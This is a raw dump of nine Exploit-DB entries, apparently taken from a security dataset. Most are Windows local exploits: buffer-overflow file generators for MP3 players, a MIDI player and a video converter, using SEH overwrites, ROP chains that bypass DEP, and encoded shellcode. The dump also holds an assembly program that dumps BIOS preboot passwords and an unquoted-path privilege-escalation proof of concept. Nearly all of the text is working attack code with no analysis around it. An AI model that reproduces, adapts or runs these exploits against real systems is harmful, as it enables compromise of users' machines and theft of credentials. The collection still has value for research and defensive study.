deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26752
Description: Multiple Vendor BIOS - Keyboard Buffer Password Persistence (1)
Type: local
Platform: windows
Date: 2005-12-06
Author: Endrazine

Exploit:
source: https://www.securityfocus.com/bid/15751/info

Multiple vendors fail to clear the BIOS (Basic Input-Output System) keyboard buffer after reading the preboot authentication password during the system startup process.

Depending on the operating system running on affected computers, the memory region may or may not be available for user-level access. With Linux operating systems, superuser access is required. With Microsoft Windows operating systems, nonprivileged users may access the keyboard buffer region.

Attackers who obtain the password used for preboot authentication may then use it for further attacks.

UPDATE: Reportedly, the BIOS API calls and the BIOS keyboard buffer are used by various preboot authentication applications to read a password from the keyboard in an insecure manner. These applications are also vulnerable to this issue.

This issue is reported to affect the following software:

- Truecrypt 5.0 for Windows
- DiskCryptor 0.2.6 for Windows and prior
- Secu Star DriveCrypt Plus Pack v3.9 and prior
- Grub Legacy (GNU GRUB 0.97) and prior
- Lilo 22.6.1 and prior versions
- Award BIOS Modular 4.50pg
- Insyde BIOS V190
- Intel Corp BIOS PE94510M.86A.0050.2007.0710.1559 (07/10/2007)
- Hewlett-Packard BIOS 68DTT Ver. F.0D (11/22/2005)
- IBM Lenovo BIOS 7CETB5WW v2.05 (10/13/2006) 

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Endrazine endrazine (at) pulltheplug (dot) org [email concealed] ;
; Bios Password Physical Memory Reader ;
; Write to file Windows Compatible version ;
; ;
;Compiling : A86 wbiosw.asm wbiosw.com ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

code segment
org 100h
assume ds:code, es:code, cs:code

start:
mov ah, 09h
mov dx,offset welcome
int 21h

xor ax,ax
int 16h

mov ds, 40h ; This is the input buffer adress
mov si, 01EH ; starting at 40h:01eh
mov di,offset buffer
mov cx,32

daloop:
mov ax,[ds:si]
mov [cs:di],ax
inc di
add si,2 ; Replace this line by add si,4
; if you plan to use it under Dos
loop daloop

mov ds,es

mov ah, 3ch ; MS DOS Create file Function
mov dx, offset fname
xor cx,cx
int 21h

mov ax, 3d01h ; MS DOS Open file Function
int 21h
mov handle,ax

mov ah, 40h
mov bx,handle
mov cx,32
mov dx, offset Msg
int 21h ; Write buffer to file

mov ax,4ch ; Quit
int 21h

handle dw ?
welcome db 'Password dumper by Endrazine (endrazine (at) pulltheplug (dot) org [email concealed])',10,13
db '',10,13
db 'Dumping Password to Password.txt',10,13
db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
buffer db 32 dup ?
end start

end
Exploit-DB #39814
Description: Multiples Nexon Games - Unquoted Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-05-16
Author: Cyril Vallicari

Exploit:
-----------------------------------------------------------------------------------------------------------------
# Exploit Title: Multiples Nexon Games - Privilege Escalation Unquoted path vulnerabilities
# Date: 13/05/2016
# Exploit Author : Cyril Vallicari
# Vendor Homepage: http://www.nexon.net/
# Softwares Links: http://dirtybomb.nexon.net/ (DirtyBomb)
#                               http://store.steampowered.com/app/273110/ (CSNZ)
# Versions: Dirty Bomb r56825 USA_EU / CSNZ : 0.0.18845.1
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)

Description : Multiples Nexon Game, including but not limited to Dirty Bomb
and Counter-Strike Nexon : Zombies,  are Prone to unquoted path
vulnerability. They fail to quote correctly the command that call for
BlackXcht.aes, which is a part of the anti-cheat system (Nexon  Game
Security). Probably all Nexon games calling this file are affected.

This could potentially allow an authorized but non-privileged local user to
execute arbitrary code with elevated privileges on the system.

POC :

Put a software named Program.exe in C:

Launch the game via steam

When BlackXcht.aes is called, Program.exe is executed with same rights as
steam

POC video : https://www.youtube.com/watch?v=wcn62GGwtcQ

Patch :

Patch for Dirty bomb - Upgrade to r57457 USA_EU
-----------------------------------------------------------------------------------------------------------------
Exploit-DB #14663
Description: MUSE 4.9.0.006 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-08-16
Author: Glafkos Charalambous

Exploit:
# Exploit Title: MUSE v4.9.0.006 (.m3u) Local Buffer Overflow Exploit
# Date: August 17, 2010
# Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
# Software Link: http://download.cnet.com/MUSE/3000-2140_4-42511.html
# Version: 4.9.0.006
# Tested on: Windows XP SP3 En

buffersize = 205
nopsled = "\x90" * 4
# Custom MessageBox
# x86/shikata_ga_nai succeeded with size 104 (iteration=1)
shellcode = ("\xd9\xe5\x29\xc9\xbe\xe0\xc8\xa6\x9f\xb1\x14\xd9\x74\x24\xf4"
"\x5f\x83\xc7\x04\x31\x77\x14\x03\x77\xf4\x2a\x53\xf7\x8c\x8a"
"\xbc\x08\x04\xac\xd9\x4a\xbb\x5a\x47\x38\x30\xfa\xef\xd1\xdb"
"\xdc\xa2\x45\x60\x68\x4e\xe2\xef\x71\xd8\x6f\x8b\x54\x19\x18"
"\x36\xf4\x6c\xac\xd0\x9f\xae\x09\x58\x08\xc3\xf2\xf7\xac\x73"
"\xa6\x6f\x48\xe8\xc1\x8e\xa3\x30\x81\x03\x95\xe0\x98\x49\x12"
"\x44\xa3\x72\xcf\x77\x9b\xdc\x48\x65\xd0\x5d\xd4\x75\x36")

junk = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))
njump = "\xe9\x29\xff\xff\xff"
eip = "\x53\x93\x42\x7e"

payload = nopsled+shellcode+junk+eip+nopsled+njump

try:
    print "[+] Creating exploit file.."
    exploit = open('muse.m3u','w');
    exploit.write(payload);
    exploit.close();
    print "[+] Writing", len(payload), "bytes to muse.m3u"
    print "[+] Exploit file created!"
except:
    print "[-] Error: You do not have correct permissions.."
Exploit-DB #14664
Description: MUSE 4.9.0.006 - '.pls' Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-08-16
Author: Glafkos Charalambous

Exploit:
# Exploit Title: MUSE v4.9.0.006 (.pls) Local Universal Buffer Overflow [SEH]
# Date: August 17, 2010
# Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
# Software Link: http://download.cnet.com/MUSE/3000-2140_4-42511.html
# Version: 4.9.0.006
# Tested on: Windows XP SP3 En

payload = "\x41" * 1376
payload += "\xeb\x06\x90\x90"
payload += "\xAA\x0c\x02\x10" # 10020CAA sdll.dll universal
payload += "\x90" * 16
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com 
payload += ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x48\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x68"
"\x58\x30\x41\x31\x50\x42\x41\x6b\x41\x41\x78\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x58\x69\x49\x6c\x49"
"\x78\x71\x54\x55\x50\x37\x70\x35\x50\x6c\x4b\x53\x75\x55\x6c\x6e"
"\x6b\x53\x4c\x74\x45\x62\x58\x56\x61\x4a\x4f\x4c\x4b\x30\x4f\x42"
"\x38\x6e\x6b\x73\x6f\x67\x50\x36\x61\x48\x6b\x70\x49\x6c\x4b\x66"
"\x54\x4e\x6b\x64\x41\x38\x6e\x74\x71\x49\x50\x7a\x39\x6e\x4c\x4e"
"\x64\x6b\x70\x52\x54\x44\x47\x4f\x31\x6b\x7a\x56\x6d\x46\x61\x5a"
"\x62\x5a\x4b\x78\x74\x67\x4b\x70\x54\x76\x44\x77\x74\x42\x55\x78"
"\x65\x6e\x6b\x53\x6f\x36\x44\x37\x71\x58\x6b\x30\x66\x4e\x6b\x44"
"\x4c\x62\x6b\x4e\x6b\x43\x6f\x57\x6c\x57\x71\x7a\x4b\x6c\x4b\x75"
"\x4c\x6e\x6b\x36\x61\x38\x6b\x6e\x69\x71\x4c\x44\x64\x75\x54\x79"
"\x53\x55\x61\x69\x50\x31\x74\x6e\x6b\x67\x30\x64\x70\x4f\x75\x59"
"\x50\x43\x48\x56\x6c\x6e\x6b\x41\x50\x76\x6c\x6c\x4b\x72\x50\x45"
"\x4c\x6c\x6d\x6e\x6b\x71\x78\x77\x78\x48\x6b\x66\x69\x4e\x6b\x6f"
"\x70\x4c\x70\x47\x70\x33\x30\x53\x30\x4c\x4b\x75\x38\x65\x6c\x43"
"\x6f\x76\x51\x78\x76\x75\x30\x50\x56\x4b\x39\x4b\x48\x6d\x53\x6f"
"\x30\x71\x6b\x76\x30\x35\x38\x78\x70\x4c\x4a\x75\x54\x63\x6f\x33"
"\x58\x4c\x58\x59\x6e\x6d\x5a\x34\x4e\x56\x37\x6b\x4f\x38\x67\x55"
"\x33\x45\x31\x30\x6c\x72\x43\x76\x4e\x53\x55\x53\x48\x70\x65\x37"
"\x70\x68")
payload += "\x90" * 642

try:
    print "[+] Creating exploit file.."
    exploit = open('muse.pls','w');
    exploit.write(payload);
    exploit.close();
    print "[+] Writing", len(payload), "bytes to muse.pls"
    print "[+] Exploit file created!"
except:
    print "[-] Error: You do not have correct permissions.."
Exploit-DB #15901
Description: Music Animation Machine MIDI Player - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-01-04
Author: Acidgen

Exploit:
# Exploit Title: Music Animation Machine MIDI Player MAMX SEH BOF
# Date 1/4/2011
# Author: Acidgen  mailto:spam(a t h)grayhat.se
# Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip
# Version: 2006aug19 Release 035
# Tested on: Windows XP SP2 SE (Virtualbox Version: 3.2.10  Build:r66523)
# Credits go to c0d3R'Z, without his released MIDI POC/DoS 
# (http://www.exploit-db.com/exploits/15897/)
# I wouldn't have found this app to play with in the first place. 



#!/usr/bin/python


junk='\x41' * 112
seh='\xeb\x06\x90\x90'
pad='\x90' * 10
junk2='\x42' * 9496

# Sorry for this quick and dirty one;
# CALL DWORD PTR SS: EBP+C @ VBOXMRXN.DLL 
# When in Doubt, find your own pop,pop,ret
# VBOXMRXN.DLL Virtualbox Version: 3.2.10  Build:r66523
nseh='\xe5\xbd\x01\x10' 

 
# msfpayload windows/messagebox
# badchars \x00\xff\x1a\x0d\x0a\x09\x0b\x0c\x20
# [*] x86/shikata_ga_nai succeeded with size 364 (iteration=1)

pl=("\xd9\xce\xd9\x74\x24\xf4\x5b\x2b\xc9\xb8\xf4\x3a\xec\x53"
"\xb1\x55\x31\x43\x18\x83\xc3\x04\x03\x43\xe0\xd8\x19\x8a"
"\xe3\x86\x3b\x59\xd7\x4c\x8a\x70\xa5\xda\xdc\xbd\xad\xaf"
"\x6e\x0e\xa6\xc6\x9c\xe5\xce\x3a\x16\xbf\x26\xc8\x56\x60"
"\xbd\xf8\x9e\x2f\xd9\x71\x2c\xf6\xd8\xa8\x2d\xe8\xba\xc1"
"\xbe\xcf\x1e\x5d\x7b\x2c\xd5\x35\xac\x34\xe8\x5f\x27\x8e"
"\xf2\x14\x62\x2f\x03\xc0\x70\x1b\x4a\x9d\x43\xef\x4d\x4f"
"\x9a\x10\x7c\x4f\x21\x42\xfa\x8f\xae\x9c\xc3\xdf\x42\xa2"
"\x04\x34\xa8\x9f\xf6\xef\x79\x95\xe7\x7b\x23\x71\xe6\x90"
"\xb2\xf2\xe4\x2d\xb0\x5f\xe8\xb0\x2d\xd4\x14\x38\xb0\x03"
"\x9d\x7a\x97\xcf\xfc\x41\x65\xe7\xd7\x91\x03\x1d\xae\xd8"
"\x7c\x50\xfe\xd2\x90\x3e\x16\x75\x97\x40\x19\x03\x2d\xbb"
"\x5e\x6a\x76\x21\xd3\x14\x9a\x82\x41\xf3\x2d\x35\x9a\xfc"
"\xbb\x8f\x6c\x6b\xd0\x63\x4c\x2a\x40\x4f\xbe\x82\xf4\xc7"
"\xcb\xa9\x91\x65\xbb\x12\x7e\x80\x32\x4c\x28\x6b\x11\x95"
"\x5c\x51\xc9\x2e\xf6\xf4\xa4\xec\x80\xe5\x12\x5f\x67\x74"
"\xa5\xa0\x88\x1f\x6a\x6a\x2f\xc0\xe4\xf5\xbc\x65\xc4\x9d"
"\x10\x03\x48\x3b\xfd\x89\xdf\x85\xdd\x65\x8c\x4c\x56\x56"
"\x5a\x26\x08\xf3\xba\xd0\x99\x9a\xd9\x48\x4a\x34\x72\xe7"
"\xaa\xae\xe5\x9a\xcb\x5a\x9d\x07\x2c\xe2\x33\xa0\x61\x91"
"\xb8\x59\x4b\x82\xb6\xc6\x8f\x1e\x4f\x15\xa7\x39\x2a\xb4"
"\x60\xae\xf5\x2b\xf8\x4a\x9d\x8b\x98\xeb\x7d\xa4\x72\x48"
"\x31\x78\xe3\x1d\x9b\xd8\xbd\xf5\x4d\x9b\x0e\x5e\x19\x3b"
"\xf0\x2a\xf9\x53\x94\xa1\x9c\xd7\x30\x3f\x7e\x77\xa7\xd7"
"\x3a\xee\x55\x5c\xf3\x39\x11\xd0\xd7\x9e\xab\x08\x26\x33"
"\xc1\x8a\x1b\xe2\x44\xf4\x4b\x35\xa9\x5a\x94\x63\x21\x51")

buff=junk+seh+nseh+pad+pl+pad+junk2


try:
	filename = "crash.mamx"
	print "[-]Music Animation Machine MIDI Player mamx SEH BOF..."
	print "[-]Version:035 Release name: MAMPlayer2006-aug-19_035"
	print "[-]Author: Acidgen\n"
	print "[*]Generating crashfile:" + filename
	file = open(filename,"w")
	file.writelines(buff)
	file.close()
	print "[*]Done\n"

except:
	print "[X]Error..."
Exploit-DB #17854
Description: MY MP3 Player 3.0 - '.m3u' DEP Bypass
Type: local
Platform: windows
Date: 2011-09-17
Author: blake

Exploit:
# written to bypass OptIn/OptOut DEP policy
# tested on windows xp sp3 running in virtualbox
import sys

print "\n============================"
print "  MY MP3 Player DEP Bypass  "
print " Bypass OptIn/OptOut Policy "
print "  Tested on Windows XP SP3  "
print "      Written by Blake      "
print "============================\n"
 
# calc.exe - 1014 bytes of space for shellcode
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
 
buffer = "\x41" * 1024
eip = "\x99\x13\x09\x5d"	# RETN - COMCTL32
rop = "\x42" * 4			# junk to compensate
rop += "\x8c\x39\x09\x5d"	# POP EBX, RETN - COMCTL32
rop += "\xff\xff\xff\xff"
rop += "\x28\x90\x12\x77"	# INC EBX, RETN - OLEAUT32
rop += "\x44\x94\x12\x77"	# POP EBP, RETN - OLEAUT32
rop += "\xa4\x22\x86\x7c"	# SetProcessDEPPolicy
rop += "\x36\x1c\x12\x77"	# POP EDI, RETN - OLEAUT32
rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
rop += "\xd4\x1a\x12\x77"	# POP ESI, RETN - OLEAUT32
rop += "\x37\x1c\x12\x77"	# RETN - OLEAUT32
rop += "\xf7\x8c\x14\x77"	# PUSHAD, RETN - OLEAUT32
nops = "\x90" * 20
junk = "\x42" * (2000 - len(nops + shellcode + rop))


print "[+] Creating malicious .m3u file"
try:
    file = open("exploit.m3u","w")
    file.write(buffer + eip + rop + nops + shellcode + junk)
    file.close()
    print "[+] File created"
except:
    print "[x] Could not create file"
 
raw_input("\nPress any key to exit...\n")
Exploit-DB #42550
Description: My Video Converter 1.5.24 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-08-24
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
 
###############################################################################
# Exploit Title:        My Video Converter 1.5.24 - 'Enter User Name' Field Buffer Overflow (SEH)
# Date:                 24-08-2017
# Exploit Author:       Anurag Srivastava 
# Website:		www.pyramidcyber.com
# Vulnerable Software:  My Video Converter 1.5.24 
# Vendor Homepage:      http://www.divxtodvd.net/
# Version:              1.5.24
# Software Link:        http://www.divxtodvd.net/my_video_converter.exe
# Tested On:            Windows 7 x64 
#
#
# To reproduce the exploit:
#   1. Click Register
#   2. In the "Enter User Name" field, paste the content of pyramid.txt
#
##############################################################################
 

buffer = "\x41" * 1008   
 
nSEH = "\xeb\x10\x90\x90"
 
# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10"
 
badchars = "\x00\x0a\x0d" # and 0x80 to 0xff
 
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
 
nops = "\x90" * 16
 
badchars = "\x0a\x0d"
 
data = buffer + nSEH + SEH + nops + buf
 
f = open ("pyramid.txt", "w")
f.write(data)
f.close()
Exploit-DB #20053
Description: MyMp3 Player Stack - '.m3u' File DEP Bypass
Type: local
Platform: windows
Date: 2012-07-23
Author: Daniel Romero

Exploit:
'''
Title: MyMp3-Player '.m3u' Stack BOF (Bypass DEP)
Author: Daniel Romero Perez (@daniel_rome)
Software & Version: MyMp3-Player 3.02.067
Tested on: Windows XP SP3 - ES
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
Advisor: https://www.securityfocus.com/bid/38835/info
Article: http://unlearningsecurity.blogspot.com.es/2012/07/bypass-dep-no-permanente-con.html
'''
import os
import struct

# Buffer 
Buff = "\x41" * 1024

# ShellCode (ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x0a\x0d\x20\x00' -t c) - 227 bytes
ShellCode = ("\xb8\xf8\x16\x8a\x64\xd9\xe9\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
	"\x33\x31\x46\x12\x83\xc6\x04\x03\xbe\x18\x68\x91\xc2\xcd\xe5"
	"\x5a\x3a\x0e\x96\xd3\xdf\x3f\x84\x80\x94\x12\x18\xc2\xf8\x9e"
	"\xd3\x86\xe8\x15\x91\x0e\x1f\x9d\x1c\x69\x2e\x1e\x91\xb5\xfc"
	"\xdc\xb3\x49\xfe\x30\x14\x73\x31\x45\x55\xb4\x2f\xa6\x07\x6d"
	"\x24\x15\xb8\x1a\x78\xa6\xb9\xcc\xf7\x96\xc1\x69\xc7\x63\x78"
	"\x73\x17\xdb\xf7\x3b\x8f\x57\x5f\x9c\xae\xb4\x83\xe0\xf9\xb1"
	"\x70\x92\xf8\x13\x49\x5b\xcb\x5b\x06\x62\xe4\x51\x56\xa2\xc2"
	"\x89\x2d\xd8\x31\x37\x36\x1b\x48\xe3\xb3\xbe\xea\x60\x63\x1b"
	"\x0b\xa4\xf2\xe8\x07\x01\x70\xb6\x0b\x94\x55\xcc\x37\x1d\x58"
	"\x03\xbe\x65\x7f\x87\x9b\x3e\x1e\x9e\x41\x90\x1f\xc0\x2d\x4d"
	"\xba\x8a\xdf\x9a\xbc\xd0\xb5\x5d\x4c\x6f\xf0\x5e\x4e\x70\x52"
	"\x37\x7f\xfb\x3d\x40\x80\x2e\x7a\xbe\xca\x73\x2a\x57\x93\xe1"
	"\x6f\x3a\x24\xdc\xb3\x43\xa7\xd5\x4b\xb0\xb7\x9f\x4e\xfc\x7f"
	"\x73\x22\x6d\xea\x73\x91\x8e\x3f\x10\x74\x1d\xa3\xf9\x13\xa5"
	"\x46\x06")
	
Nops = "\x90" * 50
	
##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP = struct.pack('<L',0x77f4c25f) # POP EBX / RET
ROP += struct.pack('<L',0x41414141) # JUNK
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
ROP += struct.pack('<L',0x7e810b7e) # INC EBX / RET
ROP += struct.pack('<L',0x77f445bf) # POP EBP / RET
ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy
ROP += struct.pack('<L',0x77f45493) # POP EDI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x77f4567e) # POP ESI  / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x58c35ff7) # PUSHAD / RET

# Exploit
exploit = Buff + ROP + Nops + ShellCode

# Create File
file = open("exploit_mymp3-player_BOF.m3u", "wb")
file.write(exploit)
file.close()

print ("Your file has been generated successfully!!")
Exploit-DB #11791
Description: myMP3-Player 3.0 - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2010-03-18
Author: n3w7u

Exploit:
#!/usr/bin/perl

# Title: myMP3-Player v3.0 (.m3u) Local Buffer Overflow Exploit (SEH)
# Date: 18.03.2010
# Author: n3w7u
# Software Link: http://www.chip.de/downloads/myMP3-Player-3.0_13008621.html
# Version: 3.0 and the other version can't be download from serious Page, and don't be free.
# Tested on: Windows XP SP3 (ger)


#[ Buffer ][ Short Jump ][ P/P/R ][ NOP ][ Shellcode ][ NOP ]

my $file= "evil.m3u";
my $junk ="\x41" x 1040; # for myMp3 Player 5/cracked junk =1056
my $jmp="\xEB\x08\x90\x90"; # jmp short
my $seh="\x25\x12\xC8\x72"; #72 C8 12 25 msacm32.drv
my $nop ="\x90" x 20;
my $nops ="\x90" x 10;

# windows/exec - 224 bytes
# http://www.metasploit.com
# Encoder: x86/call4_dword_xor
# EXITFUNC=process, CMD=calc.exe
my $buf =
"\x2b\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\xa8\x6e\x77\xce\x83\xee\xfc\xe2\xf4\x54\x86\xfe\xce" .
"\xa8\x6e\x17\x47\x4d\x5f\xa5\xaa\x23\x3c\x47\x45\xfa\x62" .
"\xfc\x9c\xbc\xe5\x05\xe6\xa7\xd9\x3d\xe8\x99\x91\x46\x0e" .
"\x04\x52\x16\xb2\xaa\x42\x57\x0f\x67\x63\x76\x09\x4a\x9e" .
"\x25\x99\x23\x3c\x67\x45\xea\x52\x76\x1e\x23\x2e\x0f\x4b" .
"\x68\x1a\x3d\xcf\x78\x3e\xfc\x86\xb0\xe5\x2f\xee\xa9\xbd" .
"\x94\xf2\xe1\xe5\x43\x45\xa9\xb8\x46\x31\x99\xae\xdb\x0f" .
"\x67\x63\x76\x09\x90\x8e\x02\x3a\xab\x13\x8f\xf5\xd5\x4a" .
"\x02\x2c\xf0\xe5\x2f\xea\xa9\xbd\x11\x45\xa4\x25\xfc\x96" .
"\xb4\x6f\xa4\x45\xac\xe5\x76\x1e\x21\x2a\x53\xea\xf3\x35" .
"\x16\x97\xf2\x3f\x88\x2e\xf0\x31\x2d\x45\xba\x85\xf1\x93" .
"\xc2\x6f\xfa\x4b\x11\x6e\x77\xce\xf8\x06\x46\x45\xc7\xe9" .
"\x88\x1b\x13\x9e\xc2\x6c\xfe\x06\xd1\x5b\x15\xf3\x88\x1b" .
"\x94\x68\x0b\xc4\x28\x95\x97\xbb\xad\xd5\x30\xdd\xda\x01" .
"\x1d\xce\xfb\x91\xa2\xad\xc9\x02\x14\xe0\xcd\x16\x12\xce";

open($File,">$file");
print $File $junk.$jmp.$seh.$nop.$buf.$nops;
close($File);